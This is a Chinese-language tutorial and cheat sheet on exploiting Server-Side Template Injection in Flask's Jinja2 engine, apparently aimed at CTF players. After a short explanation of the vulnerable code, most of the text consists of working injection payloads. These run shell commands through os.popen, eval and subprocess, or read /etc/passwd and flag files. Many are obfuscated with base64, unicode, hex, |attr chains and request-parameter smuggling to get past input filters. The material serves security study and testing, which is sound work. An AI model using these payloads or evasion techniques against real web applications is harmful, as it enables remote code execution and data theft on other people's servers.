flask SSTI学习与总结
字数 1125 2025-08-07 08:22:27
Flask SSTI漏洞学习与总结
0x00 SSTI简介
SSTI(Server-Side Template Injection)是服务器端模板注入漏洞,类似于SQL注入,但针对的是网站模板引擎。当后端渲染处理时进行语句拼接并执行时,就可能产生SSTI漏洞。
主要影响的模板引擎包括:
- Python: jinja2、mako、tornado、django
- PHP: smarty、twig
- Java: jade、velocity
本文重点讲解Flask框架中的jinja2模板引擎。
0x01 漏洞产生
Flask使用render_template_string函数渲染模板时,如果用户输入可控且未正确过滤,就可能产生SSTI漏洞。例如:
@app.route('/ssti')
def test_ssti():
code = request.args.get('id')
html = '<h1>%s</h1>'%(code)
return render_template_string(html)
当用户输入{{7*7}}时,返回49,证明表达式被执行。
0x02 漏洞利用
Python类结构基础
利用SSTI需要了解Python类的继承关系:
__class__: 查看变量所属的类__bases__: 查看类的基类__mro__: 获取类的调用顺序__subclasses__(): 查看当前类的子类列表
示例:
''.__class__ # <class 'str'>
''.__class__.__bases__ # (<class 'object'>,)
''.__class__.__mro__ # (<class 'str'>, <class 'object'>)
''.__class__.__bases__[0].__subclasses__() # 获取object的所有子类
常用子类利用方法
1. 执行命令的子类
寻找eval函数执行命令:
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
寻找os模块执行命令:
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
寻找popen函数执行命令:
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
寻找importlib类执行命令:
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}
寻找linecache函数执行命令:
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
寻找subprocess.Popen类执行命令:
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
2. 文件读取的子类
Python2中使用file类:
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
Python3中使用FileLoader:
{{().__class__.__bases__[0].__subclasses__()[94]["get_data"](0, "/etc/passwd")}}
0x03 绕过技巧
关键字绕过
- 拼接绕过:
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
- Base64编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
- Unicode编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
- Hex编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
- 引号绕过:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
- join()函数绕过:
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
特殊字符绕过
- 过滤中括号[ ]:
# 使用__getitem__()绕过
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}
# 使用pop()绕过
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}
- 过滤引号:
# 使用chr()绕过
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
# 使用request对象绕过
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
- 过滤下划线__:
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
- 过滤点.:
# 使用|attr()绕过
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
- 过滤大括号{{:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
组合绕过
- 同时过滤.和[]:
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
- 同时过滤__、.和[]:
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
- 使用Unicode编码多重过滤:
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
使用Jinja过滤器绕过
当常规方法被过滤时,可以使用Jinja2内置过滤器构造payload:
- 获取字符:
{% set org = ({ }|select()|string()) %} # 获取<generator object select_or_reject at 0x7fe339298fc0>
{% set org = (self|string()) %} # 获取<TemplateReference None>
{% set org = self|string|urlencode %} # 获取URL编码字符串
{% set org = (app.__doc__|string) %} # 获取文档字符串
- 获取数字:
{% set zero = (({ }|select|string|list).pop(38)|int) %} # 0
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
- 构造关键字符串:
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set os = dict(o=aa,s=dd)|join %} # os
过滤request和class的绕过
使用session或config对象绕过:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'ss__']()}}
总结
Flask SSTI漏洞利用的关键在于:
- 理解Python类的继承关系
- 掌握从任意变量回溯到object基类的方法
- 熟悉常用子类的利用方式
- 掌握各种过滤场景下的绕过技巧
- 灵活运用Jinja2过滤器和特性
实际利用时需要根据目标环境调整payload,特别是子类索引号可能因Python版本和环境不同而变化。